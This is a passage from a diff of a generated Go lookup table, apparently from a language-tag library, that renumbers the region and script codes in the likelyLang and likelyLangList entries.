0x0}, - 1175: {region: 0x131, script: 0x5a, flags: 0x0}, - 1176: {region: 0x165, script: 0x5a, flags: 0x0}, - 1177: {region: 0x123, script: 0xeb, flags: 0x0}, - 1178: {region: 0x32, script: 0x5a, flags: 0x0}, - 1179: {region: 0x165, script: 0x5a, flags: 0x0}, - 1180: {region: 0x165, script: 0x5a, flags: 0x0}, - 1181: {region: 0xce, script: 0x5a, flags: 0x0}, - 1182: {region: 0x165, script: 0x5a, flags: 0x0}, - 1183: {region: 0x165, script: 0x5a, flags: 0x0}, - 1184: {region: 0x12d, script: 0x5a, flags: 0x0}, - 1185: {region: 0x165, script: 0x5a, flags: 0x0}, - 1187: {region: 0x165, script: 0x5a, flags: 0x0}, - 1188: {region: 0xd4, script: 0x5a, flags: 0x0}, - 1189: {region: 0x53, script: 0xe4, flags: 0x0}, - 1190: {region: 0xe5, script: 0x5a, flags: 0x0}, - 1191: {region: 0x165, script: 0x5a, flags: 0x0}, - 1192: {region: 0x106, script: 0x20, flags: 0x0}, - 1193: {region: 0xba, script: 0x5a, flags: 0x0}, - 1194: {region: 0x165, script: 0x5a, flags: 0x0}, - 1195: {region: 0x106, script: 0x20, flags: 0x0}, + 1128: {region: 0x166, script: 0x5b, flags: 0x0}, + 1129: {region: 0x166, script: 0x5b, flags: 0x0}, + 1130: {region: 0x166, script: 0x5b, flags: 0x0}, + 1131: {region: 0x124, script: 0xee, flags: 0x0}, + 1132: {region: 0xdc, script: 0x22, flags: 0x0}, + 1133: {region: 0xdc, script: 0x22, flags: 0x0}, + 1134: {region: 0xdc, script: 0x22, flags: 0x0}, + 1135: {region: 0x70, script: 0x2c, flags: 0x0}, + 1136: {region: 0x166, script: 0x5b, flags: 0x0}, + 1137: {region: 0x6e, script: 0x2c, flags: 0x0}, + 1138: {region: 0x166, script: 0x5b, flags: 0x0}, + 1139: {region: 0x166, script: 0x5b, flags: 0x0}, + 1140: {region: 0x166, script: 0x5b, flags: 0x0}, + 1141: {region: 0xd7, script: 0x5b, flags: 0x0}, + 1142: {region: 0x128, script: 0x5b, flags: 0x0}, + 1143: {region: 0x126, script: 0x5b, flags: 0x0}, + 1144: {region: 0x32, script: 0x5b, flags: 0x0}, + 1145: {region: 0xdc, script: 0x22, flags: 0x0}, + 1146: {region: 0xe8, script: 0x5b, flags: 0x0}, + 1147: {region: 0x166, script: 0x5b, flags: 0x0}, + 1148: {region: 0x166, script: 0x5b, flags: 0x0}, + 1149: {region: 0x32, script: 0x5b, flags: 0x0}, + 1150: {region: 0xd5, script: 0x5b, flags: 0x0}, + 1151: {region: 0x166, script: 0x5b, flags: 0x0}, + 1152: {region: 0x162, script: 0x5b, flags: 0x0}, + 1153: {region: 0x166, script: 0x5b, flags: 0x0}, + 1154: {region: 0x12a, script: 0x5b, flags: 0x0}, + 1155: {region: 0x166, script: 0x5b, flags: 0x0}, + 1156: {region: 0xcf, script: 0x5b, flags: 0x0}, + 1157: {region: 0x166, script: 0x5b, flags: 0x0}, + 1158: {region: 0xe7, script: 0x5b, flags: 0x0}, + 1159: {region: 0x166, script: 0x5b, flags: 0x0}, + 1160: {region: 0x166, script: 0x5b, flags: 0x0}, + 1161: {region: 0x166, script: 0x5b, flags: 0x0}, + 1162: {region: 0x12c, script: 0x5b, flags: 0x0}, + 1163: {region: 0x12c, script: 0x5b, flags: 0x0}, + 1164: {region: 0x12f, script: 0x5b, flags: 0x0}, + 1165: {region: 0x166, script: 0x5, flags: 0x0}, + 1166: {region: 0x162, script: 0x5b, flags: 0x0}, + 1167: {region: 0x88, script: 0x34, flags: 0x0}, + 1168: {region: 0xdc, script: 0x22, flags: 0x0}, + 1169: {region: 0xe8, script: 0x5b, flags: 0x0}, + 1170: {region: 0x43, script: 0xef, flags: 0x0}, + 1171: {region: 0x166, script: 0x5b, flags: 0x0}, + 1172: {region: 0x107, script: 0x20, flags: 0x0}, + 1173: {region: 0x166, script: 0x5b, flags: 0x0}, + 1174: {region: 0x166, script: 0x5b, flags: 0x0}, + 1175: {region: 0x132, script: 0x5b, flags: 0x0}, + 1176: {region: 0x166, script: 0x5b, flags: 0x0}, + 1177: {region: 0x124, script: 0xee, flags: 0x0}, + 1178: {region: 0x32, script: 0x5b, flags: 0x0}, + 1179: {region: 0x166, script: 0x5b, flags: 0x0}, + 1180: {region: 0x166, script: 0x5b, flags: 0x0}, + 1181: {region: 0xcf, script: 0x5b, flags: 0x0}, + 1182: {region: 0x166, script: 0x5b, flags: 0x0}, + 1183: {region: 0x166, script: 0x5b, flags: 0x0}, + 1184: {region: 0x12e, script: 0x5b, flags: 0x0}, + 1185: {region: 0x166, script: 0x5b, flags: 0x0}, + 1187: {region: 0x166, script: 0x5b, flags: 0x0}, + 1188: {region: 0xd5, script: 0x5b, flags: 0x0}, + 1189: {region: 0x53, script: 0xe7, flags: 0x0}, + 1190: {region: 0xe6, script: 0x5b, flags: 0x0}, + 1191: {region: 0x166, script: 0x5b, flags: 0x0}, + 1192: {region: 0x107, script: 0x20, flags: 0x0}, + 1193: {region: 0xbb, script: 0x5b, flags: 0x0}, + 1194: {region: 0x166, script: 0x5b, flags: 0x0}, + 1195: {region: 0x107, script: 0x20, flags: 0x0}, 1196: {region: 0x3f, script: 0x4, flags: 0x1}, - 1197: {region: 0x11c, script: 0xf0, flags: 0x0}, - 1198: {region: 0x130, script: 0x20, flags: 0x0}, - 1199: {region: 0x75, script: 0x5a, flags: 0x0}, - 1200: {region: 0x2a, script: 0x5a, flags: 0x0}, + 1197: {region: 0x11d, script: 0xf3, flags: 0x0}, + 1198: {region: 0x131, script: 0x20, flags: 0x0}, + 1199: {region: 0x76, script: 0x5b, flags: 0x0}, + 1200: {region: 0x2a, script: 0x5b, flags: 0x0}, 1202: {region: 0x43, script: 0x3, flags: 0x1}, - 1203: {region: 0x99, script: 0xe, flags: 0x0}, - 1204: {region: 0xe8, script: 0x5, flags: 0x0}, - 1205: {region: 0x165, script: 0x5a, flags: 0x0}, - 1206: {region: 0x165, script: 0x5a, flags: 0x0}, - 1207: {region: 0x165, script: 0x5a, flags: 0x0}, - 1208: {region: 0x165, script: 0x5a, flags: 0x0}, - 1209: {region: 0x165, script: 0x5a, flags: 0x0}, - 1210: {region: 0x165, script: 0x5a, flags: 0x0}, - 1211: {region: 0x165, script: 0x5a, flags: 0x0}, + 1203: {region: 0x9a, script: 0xe, flags: 0x0}, + 1204: {region: 0xe9, script: 0x5, flags: 0x0}, + 1205: {region: 0x166, script: 0x5b, flags: 0x0}, + 1206: {region: 0x166, script: 0x5b, flags: 0x0}, + 1207: {region: 0x166, script: 0x5b, flags: 0x0}, + 1208: {region: 0x166, script: 0x5b, flags: 0x0}, + 1209: {region: 0x166, script: 0x5b, flags: 0x0}, + 1210: {region: 0x166, script: 0x5b, flags: 0x0}, + 1211: {region: 0x166, script: 0x5b, flags: 0x0}, 1212: {region: 0x46, script: 0x4, flags: 0x1}, - 1213: {region: 0x165, script: 0x5a, flags: 0x0}, - 1214: {region: 0xb4, script: 0xf1, flags: 0x0}, - 1215: {region: 0x165, script: 0x5a, flags: 0x0}, - 1216: {region: 0x161, script: 0x5a, flags: 0x0}, - 1217: {region: 0x9e, script: 0x5a, flags: 0x0}, - 1218: {region: 0x106, script: 0x5a, flags: 0x0}, - 1219: {region: 0x13e, script: 0x5a, flags: 0x0}, - 1220: {region: 0x11b, script: 0x5a, flags: 0x0}, - 1221: {region: 0x165, script: 0x5a, flags: 0x0}, - 1222: {region: 0x36, script: 0x5a, flags: 0x0}, - 1223: {region: 0x60, script: 0x5a, flags: 0x0}, - 1224: {region: 0xd1, script: 0x5a, flags: 0x0}, - 1225: {region: 0x1, script: 0x5a, flags: 0x0}, - 1226: {region: 0x106, script: 0x5a, flags: 0x0}, - 1227: {region: 0x6a, script: 0x5a, flags: 0x0}, - 1228: {region: 0x12f, script: 0x5a, flags: 0x0}, - 1229: {region: 0x165, script: 0x5a, flags: 0x0}, - 1230: {region: 0x36, script: 0x5a, flags: 0x0}, - 1231: {region: 0x4e, script: 0x5a, flags: 0x0}, - 1232: {region: 0x165, script: 0x5a, flags: 0x0}, - 1233: {region: 0x6f, script: 0x2c, flags: 0x0}, - 1234: {region: 0x165, script: 0x5a, flags: 0x0}, - 1235: {region: 0xe7, script: 0x5a, flags: 0x0}, - 1236: {region: 0x2f, script: 0x5a, flags: 0x0}, - 1237: {region: 0x99, script: 0xe6, flags: 0x0}, - 1238: {region: 0x99, script: 0x22, flags: 0x0}, - 1239: {region: 0x165, script: 0x5a, flags: 0x0}, - 1240: {region: 0x165, script: 0x5a, flags: 0x0}, - 1241: {region: 0x165, script: 0x5a, flags: 0x0}, - 1242: {region: 0x165, script: 0x5a, flags: 0x0}, - 1243: {region: 0x165, script: 0x5a, flags: 0x0}, - 1244: {region: 0x165, script: 0x5a, flags: 0x0}, - 1245: {region: 0x165, script: 0x5a, flags: 0x0}, - 1246: {region: 0x165, script: 0x5a, flags: 0x0}, - 1247: {region: 0x165, script: 0x5a, flags: 0x0}, - 1248: {region: 0x140, script: 0x5a, flags: 0x0}, - 1249: {region: 0x165, script: 0x5a, flags: 0x0}, - 1250: {region: 0x165, script: 0x5a, flags: 0x0}, - 1251: {region: 0xa8, script: 0x5, flags: 0x0}, - 1252: {region: 0x165, script: 0x5a, flags: 0x0}, - 1253: {region: 0x114, script: 0x5a, flags: 0x0}, - 1254: {region: 0x165, script: 0x5a, flags: 0x0}, - 1255: {region: 0x165, script: 0x5a, flags: 0x0}, - 1256: {region: 0x165, script: 0x5a, flags: 0x0}, - 1257: {region: 0x165, script: 0x5a, flags: 0x0}, - 1258: {region: 0x99, script: 0x22, flags: 0x0}, + 1213: {region: 0x166, script: 0x5b, flags: 0x0}, + 1214: {region: 0xb5, script: 0xf4, flags: 0x0}, + 1215: {region: 0x166, script: 0x5b, flags: 0x0}, + 1216: {region: 0x162, script: 0x5b, flags: 0x0}, + 1217: {region: 0x9f, script: 0x5b, flags: 0x0}, + 1218: {region: 0x107, script: 0x5b, flags: 0x0}, + 1219: {region: 0x13f, script: 0x5b, flags: 0x0}, + 1220: {region: 0x11c, script: 0x5b, flags: 0x0}, + 1221: {region: 0x166, script: 0x5b, flags: 0x0}, + 1222: {region: 0x36, script: 0x5b, flags: 0x0}, + 1223: {region: 0x61, script: 0x5b, flags: 0x0}, + 1224: {region: 0xd2, script: 0x5b, flags: 0x0}, + 1225: {region: 0x1, script: 0x5b, flags: 0x0}, + 1226: {region: 0x107, script: 0x5b, flags: 0x0}, + 1227: {region: 0x6b, script: 0x5b, flags: 0x0}, + 1228: {region: 0x130, script: 0x5b, flags: 0x0}, + 1229: {region: 0x166, script: 0x5b, flags: 0x0}, + 1230: {region: 0x36, script: 0x5b, flags: 0x0}, + 1231: {region: 0x4e, script: 0x5b, flags: 0x0}, + 1232: {region: 0x166, script: 0x5b, flags: 0x0}, + 1233: {region: 0x70, script: 0x2c, flags: 0x0}, + 1234: {region: 0x166, script: 0x5b, flags: 0x0}, + 1235: {region: 0xe8, script: 0x5b, flags: 0x0}, + 1236: {region: 0x2f, script: 0x5b, flags: 0x0}, + 1237: {region: 0x9a, script: 0xe9, flags: 0x0}, + 1238: {region: 0x9a, script: 0x22, flags: 0x0}, + 1239: {region: 0x166, script: 0x5b, flags: 0x0}, + 1240: {region: 0x166, script: 0x5b, flags: 0x0}, + 1241: {region: 0x166, script: 0x5b, flags: 0x0}, + 1242: {region: 0x166, script: 0x5b, flags: 0x0}, + 1243: {region: 0x166, script: 0x5b, flags: 0x0}, + 1244: {region: 0x166, script: 0x5b, flags: 0x0}, + 1245: {region: 0x166, script: 0x5b, flags: 0x0}, + 1246: {region: 0x166, script: 0x5b, flags: 0x0}, + 1247: {region: 0x166, script: 0x5b, flags: 0x0}, + 1248: {region: 0x141, script: 0x5b, flags: 0x0}, + 1249: {region: 0x166, script: 0x5b, flags: 0x0}, + 1250: {region: 0x166, script: 0x5b, flags: 0x0}, + 1251: {region: 0xa9, script: 0x5, flags: 0x0}, + 1252: {region: 0x166, script: 0x5b, flags: 0x0}, + 1253: {region: 0x115, script: 0x5b, flags: 0x0}, + 1254: {region: 0x166, script: 0x5b, flags: 0x0}, + 1255: {region: 0x166, script: 0x5b, flags: 0x0}, + 1256: {region: 0x166, script: 0x5b, flags: 0x0}, + 1257: {region: 0x166, script: 0x5b, flags: 0x0}, + 1258: {region: 0x9a, script: 0x22, flags: 0x0}, 1259: {region: 0x53, script: 0x3b, flags: 0x0}, - 1260: {region: 0x165, script: 0x5a, flags: 0x0}, - 1261: {region: 0x165, script: 0x5a, flags: 0x0}, - 1262: {region: 0x41, script: 0x5a, flags: 0x0}, - 1263: {region: 0x165, script: 0x5a, flags: 0x0}, - 1264: {region: 0x12b, script: 0x18, flags: 0x0}, - 1265: {region: 0x165, script: 0x5a, flags: 0x0}, - 1266: {region: 0x161, script: 0x5a, flags: 0x0}, - 1267: {region: 0x165, script: 0x5a, flags: 0x0}, - 1268: {region: 0x12b, script: 0x62, flags: 0x0}, - 1269: {region: 0x12b, script: 0x63, flags: 0x0}, - 1270: {region: 0x7d, script: 0x2e, flags: 0x0}, - 1271: {region: 0x53, script: 0x67, flags: 0x0}, - 1272: {region: 0x10b, script: 0x6c, flags: 0x0}, - 1273: {region: 0x108, script: 0x77, flags: 0x0}, - 1274: {region: 0x99, script: 0x22, flags: 0x0}, - 1275: {region: 0x131, script: 0x5a, flags: 0x0}, - 1276: {region: 0x165, script: 0x5a, flags: 0x0}, - 1277: {region: 0x9c, script: 0x91, flags: 0x0}, - 1278: {region: 0x165, script: 0x5a, flags: 0x0}, - 1279: {region: 0x15e, script: 0xcc, flags: 0x0}, - 1280: {region: 0x165, script: 0x5a, flags: 0x0}, - 1281: {region: 0x165, script: 0x5a, flags: 0x0}, - 1282: {region: 0xdb, script: 0x22, flags: 0x0}, - 1283: {region: 0x165, script: 0x5a, flags: 0x0}, - 1284: {region: 0x165, script: 0x5a, flags: 0x0}, - 1285: {region: 0xd1, script: 0x5a, flags: 0x0}, - 1286: {region: 0x75, script: 0x5a, flags: 0x0}, - 1287: {region: 0x165, script: 0x5a, flags: 0x0}, - 1288: {region: 0x165, script: 0x5a, flags: 0x0}, - 1289: {region: 0x52, script: 0x5a, flags: 0x0}, - 1290: {region: 0x165, script: 0x5a, flags: 0x0}, - 1291: {region: 0x165, script: 0x5a, flags: 0x0}, - 1292: {region: 0x165, script: 0x5a, flags: 0x0}, - 1293: {region: 0x52, script: 0x5a, flags: 0x0}, - 1294: {region: 0x165, script: 0x5a, flags: 0x0}, - 1295: {region: 0x165, script: 0x5a, flags: 0x0}, - 1296: {region: 0x165, script: 0x5a, flags: 0x0}, - 1297: {region: 0x165, script: 0x5a, flags: 0x0}, + 1260: {region: 0x166, script: 0x5b, flags: 0x0}, + 1261: {region: 0x166, script: 0x5b, flags: 0x0}, + 1262: {region: 0x41, script: 0x5b, flags: 0x0}, + 1263: {region: 0x166, script: 0x5b, flags: 0x0}, + 1264: {region: 0x12c, script: 0x18, flags: 0x0}, + 1265: {region: 0x166, script: 0x5b, flags: 0x0}, + 1266: {region: 0x162, script: 0x5b, flags: 0x0}, + 1267: {region: 0x166, script: 0x5b, flags: 0x0}, + 1268: {region: 0x12c, script: 0x63, flags: 0x0}, + 1269: {region: 0x12c, script: 0x64, flags: 0x0}, + 1270: {region: 0x7e, script: 0x2e, flags: 0x0}, + 1271: {region: 0x53, script: 0x68, flags: 0x0}, + 1272: {region: 0x10c, script: 0x6d, flags: 0x0}, + 1273: {region: 0x109, script: 0x79, flags: 0x0}, + 1274: {region: 0x9a, script: 0x22, flags: 0x0}, + 1275: {region: 0x132, script: 0x5b, flags: 0x0}, + 1276: {region: 0x166, script: 0x5b, flags: 0x0}, + 1277: {region: 0x9d, script: 0x93, flags: 0x0}, + 1278: {region: 0x166, script: 0x5b, flags: 0x0}, + 1279: {region: 0x15f, script: 0xce, flags: 0x0}, + 1280: {region: 0x166, script: 0x5b, flags: 0x0}, + 1281: {region: 0x166, script: 0x5b, flags: 0x0}, + 1282: {region: 0xdc, script: 0x22, flags: 0x0}, + 1283: {region: 0x166, script: 0x5b, flags: 0x0}, + 1284: {region: 0x166, script: 0x5b, flags: 0x0}, + 1285: {region: 0xd2, script: 0x5b, flags: 0x0}, + 1286: {region: 0x76, script: 0x5b, flags: 0x0}, + 1287: {region: 0x166, script: 0x5b, flags: 0x0}, + 1288: {region: 0x166, script: 0x5b, flags: 0x0}, + 1289: {region: 0x52, script: 0x5b, flags: 0x0}, + 1290: {region: 0x166, script: 0x5b, flags: 0x0}, + 1291: {region: 0x166, script: 0x5b, flags: 0x0}, + 1292: {region: 0x166, script: 0x5b, flags: 0x0}, + 1293: {region: 0x52, script: 0x5b, flags: 0x0}, + 1294: {region: 0x166, script: 0x5b, flags: 0x0}, + 1295: {region: 0x166, script: 0x5b, flags: 0x0}, + 1296: {region: 0x166, script: 0x5b, flags: 0x0}, + 1297: {region: 0x166, script: 0x5b, flags: 0x0}, 1298: {region: 0x1, script: 0x3e, flags: 0x0}, - 1299: {region: 0x165, script: 0x5a, flags: 0x0}, - 1300: {region: 0x165, script: 0x5a, flags: 0x0}, - 1301: {region: 0x165, script: 0x5a, flags: 0x0}, - 1302: {region: 0x165, script: 0x5a, flags: 0x0}, - 1303: {region: 0x165, script: 0x5a, flags: 0x0}, - 1304: {region: 0xd6, script: 0x5a, flags: 0x0}, - 1305: {region: 0x165, script: 0x5a, flags: 0x0}, - 1306: {region: 0x165, script: 0x5a, flags: 0x0}, - 1307: {region: 0x165, script: 0x5a, flags: 0x0}, - 1308: {region: 0x41, script: 0x5a, flags: 0x0}, - 1309: {region: 0x165, script: 0x5a, flags: 0x0}, - 1310: {region: 0xcf, script: 0x5a, flags: 0x0}, + 1299: {region: 0x166, script: 0x5b, flags: 0x0}, + 1300: {region: 0x166, script: 0x5b, flags: 0x0}, + 1301: {region: 0x166, script: 0x5b, flags: 0x0}, + 1302: {region: 0x166, script: 0x5b, flags: 0x0}, + 1303: {region: 0x166, script: 0x5b, flags: 0x0}, + 1304: {region: 0xd7, script: 0x5b, flags: 0x0}, + 1305: {region: 0x166, script: 0x5b, flags: 0x0}, + 1306: {region: 0x166, script: 0x5b, flags: 0x0}, + 1307: {region: 0x166, script: 0x5b, flags: 0x0}, + 1308: {region: 0x41, script: 0x5b, flags: 0x0}, + 1309: {region: 0x166, script: 0x5b, flags: 0x0}, + 1310: {region: 0xd0, script: 0x5b, flags: 0x0}, 1311: {region: 0x4a, script: 0x3, flags: 0x1}, - 1312: {region: 0x165, script: 0x5a, flags: 0x0}, - 1313: {region: 0x165, script: 0x5a, flags: 0x0}, - 1314: {region: 0x165, script: 0x5a, flags: 0x0}, - 1315: {region: 0x53, script: 0x5a, flags: 0x0}, - 1316: {region: 0x10b, script: 0x5a, flags: 0x0}, - 1318: {region: 0xa8, script: 0x5, flags: 0x0}, - 1319: {region: 0xd9, script: 0x5a, flags: 0x0}, - 1320: {region: 0xba, script: 0xe8, flags: 0x0}, + 1312: {region: 0x166, script: 0x5b, flags: 0x0}, + 1313: {region: 0x166, script: 0x5b, flags: 0x0}, + 1314: {region: 0x166, script: 0x5b, flags: 0x0}, + 1315: {region: 0x53, script: 0x5b, flags: 0x0}, + 1316: {region: 0x10c, script: 0x5b, flags: 0x0}, + 1318: {region: 0xa9, script: 0x5, flags: 0x0}, + 1319: {region: 0xda, script: 0x5b, flags: 0x0}, + 1320: {region: 0xbb, script: 0xeb, flags: 0x0}, 1321: {region: 0x4d, script: 0x14, flags: 0x1}, - 1322: {region: 0x53, script: 0x7d, flags: 0x0}, - 1323: {region: 0x165, script: 0x5a, flags: 0x0}, - 1324: {region: 0x122, script: 0x5a, flags: 0x0}, - 1325: {region: 0xd0, script: 0x5a, flags: 0x0}, - 1326: {region: 0x165, script: 0x5a, flags: 0x0}, - 1327: {region: 0x161, script: 0x5a, flags: 0x0}, - 1329: {region: 0x12b, script: 0x5a, flags: 0x0}, + 1322: {region: 0x53, script: 0x7f, flags: 0x0}, + 1323: {region: 0x166, script: 0x5b, flags: 0x0}, + 1324: {region: 0x123, script: 0x5b, flags: 0x0}, + 1325: {region: 0xd1, script: 0x5b, flags: 0x0}, + 1326: {region: 0x166, script: 0x5b, flags: 0x0}, + 1327: {region: 0x162, script: 0x5b, flags: 0x0}, + 1329: {region: 0x12c, script: 0x5b, flags: 0x0}, } // likelyLangList holds lists info associated with likelyLang. // Size: 582 bytes, 97 elements var likelyLangList = [97]likelyScriptRegion{ - 0: {region: 0x9c, script: 0x7, flags: 0x0}, - 1: {region: 0xa1, script: 0x78, flags: 0x2}, - 2: {region: 0x11c, script: 0x85, flags: 0x2}, - 3: {region: 0x32, script: 0x5a, flags: 0x0}, - 4: {region: 0x9b, script: 0x5, flags: 0x4}, - 5: {region: 0x9c, script: 0x5, flags: 0x4}, - 6: {region: 0x106, script: 0x20, flags: 0x4}, - 7: {region: 0x9c, script: 0x5, flags: 0x2}, - 8: {region: 0x106, script: 0x20, flags: 0x0}, + 0: {region: 0x9d, script: 0x7, flags: 0x0}, + 1: {region: 0xa2, script: 0x7a, flags: 0x2}, + 2: {region: 0x11d, script: 0x87, flags: 0x2}, + 3: {region: 0x32, script: 0x5b, flags: 0x0}, + 4: {region: 0x9c, script: 0x5, flags: 0x4}, + 5: {region: 0x9d, script: 0x5, flags: 0x4}, + 6: {region: 0x107, script: 0x20, flags: 0x4}, + 7: {region: 0x9d, script: 0x5, flags: 0x2}, + 8: {region: 0x107, script: 0x20, flags: 0x0}, 9: {region: 0x38, script: 0x2f, flags: 0x2}, - 10: {region: 0x135, script: 0x5a, flags: 0x0}, - 11: {region: 0x7b, script: 0xcf, flags: 0x2}, - 12: {region: 0x114, script: 0x5a, flags: 0x0}, - 13: {region: 0x84, script: 0x1, flags: 0x2}, - 14: {region: 0x5d, script: 0x1f, flags: 0x0}, - 15: {region: 0x87, script: 0x5f, flags: 0x2}, - 16: {region: 0xd6, script: 0x5a, flags: 0x0}, + 10: {region: 0x136, script: 0x5b, flags: 0x0}, + 11: {region: 0x7c, script: 0xd1, flags: 0x2}, + 12: {region: 0x115, script: 0x5b, flags: 0x0}, + 13: {region: 0x85, script: 0x1, flags: 0x2}, + 14: {region: 0x5e, script: 0x1f, flags: 0x0}, + 15: {region: 0x88, script: 0x60, flags: 0x2}, + 16: {region: 0xd7, script: 0x5b, flags: 0x0}, 17: {region: 0x52, script: 0x5, flags: 0x4}, - 18: {region: 0x10b, script: 0x5, flags: 0x4}, - 19: {region: 0xae, script: 0x20, flags: 0x0}, + 18: {region: 0x10c, script: 0x5, flags: 0x4}, + 19: {region: 0xaf, script: 0x20, flags: 0x0}, 20: {region: 0x24, script: 0x5, flags: 0x4}, 21: {region: 0x53, script: 0x5, flags: 0x4}, - 22: {region: 0x9c, script: 0x5, flags: 0x4}, - 23: {region: 0xc5, script: 0x5, flags: 0x4}, + 22: {region: 0x9d, script: 0x5, flags: 0x4}, + 23: {region: 0xc6, script: 0x5, flags: 0x4}, 24: {region: 0x53, script: 0x5, flags: 0x2}, - 25: {region: 0x12b, script: 0x5a, flags: 0x0}, - 26: {region: 0xb0, script: 0x5, flags: 0x4}, - 27: {region: 0x9b, script: 0x5, flags: 0x2}, - 28: {region: 0xa5, script: 0x20, flags: 0x0}, + 25: {region: 0x12c, script: 0x5b, flags: 0x0}, + 26: {region: 0xb1, script: 0x5, flags: 0x4}, + 27: {region: 0x9c, script: 0x5, flags: 0x2}, + 28: {region: 0xa6, script: 0x20, flags: 0x0}, 29: {region: 0x53, script: 0x5, flags: 0x4}, - 30: {region: 0x12b, script: 0x5a, flags: 0x4}, + 30: {region: 0x12c, script: 0x5b, flags: 0x4}, 31: {region: 0x53, script: 0x5, flags: 0x2}, - 32: {region: 0x12b, script: 0x5a, flags: 0x2}, - 33: {region: 0xdb, script: 0x22, flags: 0x0}, - 34: {region: 0x99, script: 0x5d, flags: 0x2}, - 35: {region: 0x83, script: 0x5a, flags: 0x0}, - 36: {region: 0x84, script: 0x7c, flags: 0x4}, - 37: {region: 0x84, script: 0x7c, flags: 0x2}, - 38: {region: 0xc5, script: 0x20, flags: 0x0}, - 39: {region: 0x53, script: 0x70, flags: 0x4}, - 40: {region: 0x53, script: 0x70, flags: 0x2}, - 41: {region: 0xd0, script: 0x5a, flags: 0x0}, + 32: {region: 0x12c, script: 0x5b, flags: 0x2}, + 33: {region: 0xdc, script: 0x22, flags: 0x0}, + 34: {region: 0x9a, script: 0x5e, flags: 0x2}, + 35: {region: 0x84, script: 0x5b, flags: 0x0}, + 36: {region: 0x85, script: 0x7e, flags: 0x4}, + 37: {region: 0x85, script: 0x7e, flags: 0x2}, + 38: {region: 0xc6, script: 0x20, flags: 0x0}, + 39: {region: 0x53, script: 0x71, flags: 0x4}, + 40: {region: 0x53, script: 0x71, flags: 0x2}, + 41: {region: 0xd1, script: 0x5b, flags: 0x0}, 42: {region: 0x4a, script: 0x5, flags: 0x4}, - 43: {region: 0x95, script: 0x5, flags: 0x4}, - 44: {region: 0x99, script: 0x36, flags: 0x0}, - 45: {region: 0xe8, script: 0x5, flags: 0x4}, - 46: {region: 0xe8, script: 0x5, flags: 0x2}, - 47: {region: 0x9c, script: 0x8b, flags: 0x0}, - 48: {region: 0x53, script: 0x8c, flags: 0x2}, - 49: {region: 0xba, script: 0xe8, flags: 0x0}, - 50: {region: 0xd9, script: 0x5a, flags: 0x4}, - 51: {region: 0xe8, script: 0x5, flags: 0x0}, - 52: {region: 0x99, script: 0x22, flags: 0x2}, - 53: {region: 0x99, script: 0x4f, flags: 0x2}, - 54: {region: 0x99, script: 0xd3, flags: 0x2}, - 55: {region: 0x105, script: 0x20, flags: 0x0}, - 56: {region: 0xbd, script: 0x5a, flags: 0x4}, - 57: {region: 0x104, script: 0x5a, flags: 0x4}, - 58: {region: 0x106, script: 0x5a, flags: 0x4}, - 59: {region: 0x12b, script: 0x5a, flags: 0x4}, - 60: {region: 0x124, script: 0x20, flags: 0x0}, - 61: {region: 0xe8, script: 0x5, flags: 0x4}, - 62: {region: 0xe8, script: 0x5, flags: 0x2}, + 43: {region: 0x96, script: 0x5, flags: 0x4}, + 44: {region: 0x9a, script: 0x36, flags: 0x0}, + 45: {region: 0xe9, script: 0x5, flags: 0x4}, + 46: {region: 0xe9, script: 0x5, flags: 0x2}, + 47: {region: 0x9d, script: 0x8d, flags: 0x0}, + 48: {region: 0x53, script: 0x8e, flags: 0x2}, + 49: {region: 0xbb, script: 0xeb, flags: 0x0}, + 50: {region: 0xda, script: 0x5b, flags: 0x4}, + 51: {region: 0xe9, script: 0x5, flags: 0x0}, + 52: {region: 0x9a, script: 0x22, flags: 0x2}, + 53: {region: 0x9a, script: 0x50, flags: 0x2}, + 54: {region: 0x9a, script: 0xd5, flags: 0x2}, + 55: {region: 0x106, script: 0x20, flags: 0x0}, + 56: {region: 0xbe, script: 0x5b, flags: 0x4}, + 57: {region: 0x105, script: 0x5b, flags: 0x4}, + 58: {region: 0x107, script: 0x5b, flags: 0x4}, + 59: {region: 0x12c, script: 0x5b, flags: 0x4}, + 60: {region: 0x125, script: 0x20, flags: 0x0}, + 61: {region: 0xe9, script: 0x5, flags: 0x4}, + 62: {region: 0xe9, script: 0x5, flags: 0x2}, 63: {region: 0x53, script: 0x5, flags: 0x0}, - 64: {region: 0xae, script: 0x20, flags: 0x4}, - 65: {region: 0xc5, script: 0x20, flags: 0x4}, - 66: {region: 0xae, script: 0x20, flags: 0x2}, - 67: {region: 0x99, script: 0xe, flags: 0x0}, - 68: {region: 0xdb, script: 0x22, flags: 0x4}, - 69: {region: 0xdb, script: 0x22, flags: 0x2}, - 70: {region: 0x137, script: 0x5a, flags: 0x0}, + 64: {region: 0xaf, script: 0x20, flags: 0x4}, + 65: {region: 0xc6, script: 0x20, flags: 0x4}, + 66: {region: 0xaf, script: 0x20, flags: 0x2}, + 67: {region: 0x9a, script: 0xe, flags: 0x0}, + 68: {region: 0xdc, script: 0x22, flags: 0x4}, + 69: {region: 0xdc, script: 0x22, flags: 0x2}, + 70: {region: 0x138, script: 0x5b, flags: 0x0}, 71: {region: 0x24, script: 0x5, flags: 0x4}, 72: {region: 0x53, script: 0x20, flags: 0x4}, 73: {region: 0x24, script: 0x5, flags: 0x2}, - 74: {region: 0x8d, script: 0x3c, flags: 0x0}, + 74: {region: 0x8e, script: 0x3c, flags: 0x0}, 75: {region: 0x53, script: 0x3b, flags: 0x4}, 76: {region: 0x53, script: 0x3b, flags: 0x2}, 77: {region: 0x53, script: 0x3b, flags: 0x0}, 78: {region: 0x2f, script: 0x3c, flags: 0x4}, 79: {region: 0x3e, script: 0x3c, flags: 0x4}, - 80: {region: 0x7b, script: 0x3c, flags: 0x4}, - 81: {region: 0x7e, script: 0x3c, flags: 0x4}, - 82: {region: 0x8d, script: 0x3c, flags: 0x4}, - 83: {region: 0x95, script: 0x3c, flags: 0x4}, - 84: {region: 0xc6, script: 0x3c, flags: 0x4}, - 85: {region: 0xd0, script: 0x3c, flags: 0x4}, - 86: {region: 0xe2, script: 0x3c, flags: 0x4}, - 87: {region: 0xe5, script: 0x3c, flags: 0x4}, - 88: {region: 0xe7, script: 0x3c, flags: 0x4}, - 89: {region: 0x116, script: 0x3c, flags: 0x4}, - 90: {region: 0x123, script: 0x3c, flags: 0x4}, - 91: {region: 0x12e, script: 0x3c, flags: 0x4}, - 92: {region: 0x135, script: 0x3c, flags: 0x4}, - 93: {region: 0x13e, script: 0x3c, flags: 0x4}, - 94: {region: 0x12e, script: 0x11, flags: 0x2}, - 95: {region: 0x12e, script: 0x37, flags: 0x2}, - 96: {region: 0x12e, script: 0x3c, flags: 0x2}, + 80: {region: 